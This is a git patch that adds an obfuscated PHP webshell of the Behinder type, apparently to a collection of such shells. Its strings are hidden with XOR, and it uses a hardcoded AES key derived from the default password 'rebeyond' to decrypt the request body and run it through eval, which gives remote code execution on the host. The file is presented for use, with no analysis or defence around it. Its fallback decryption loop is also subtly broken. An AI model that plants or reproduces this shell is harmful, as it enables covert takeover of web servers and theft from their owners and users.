From 0996c99902baf3285e26096a8d495150b2c4271d Mon Sep 17 00:00:00 2001
From: tennc <670357+tennc@users.noreply.github.com>
Date: Fri, 23 Apr 2021 21:52:06 +0800
Subject: [PATCH] Create shell-2021-04-23.php

from : https://mp.weixin.qq.com/s/xWw8zWSD4CZn-PQWOCh1bg
author: wxjjh
---
 Behinder/shell-2021-04-23.php | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 Behinder/shell-2021-04-23.php

diff --git a/Behinder/shell-2021-04-23.php b/Behinder/shell-2021-04-23.php
new file mode 100644
index 0000000..c0d3ecc
--- /dev/null
+++ b/Behinder/shell-2021-04-23.php
@@ -0,0 +1,28 @@
+<?php
+@error_reporting(0);
+session_start();
+$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
+$f='file'.'_get'.'_contents';
+$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
+    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
+        $_SESSION['k']=$key;
+        $post=$f($p);
+        if(!extension_loaded('openssl'))
+        {
+                $post=$t($post."");
+                
+                for($i=0;$i<strlen($post);$i++) {
+                             $key = $key[$i+1&15];
+                                $post[$i] = $port[$i]^$key; 
+                            }
+        }
+        else
+        {
+                $post=openssl_decrypt($post, "AES128", $key);
+        }
+    $arr=explode('|',$post);
+    $func=$arr[0];
+    $params=$arr[1];
+        class C{public function b($p) {eval($p."");}}
+        @call_user_func(array(C,b),$params);
+?>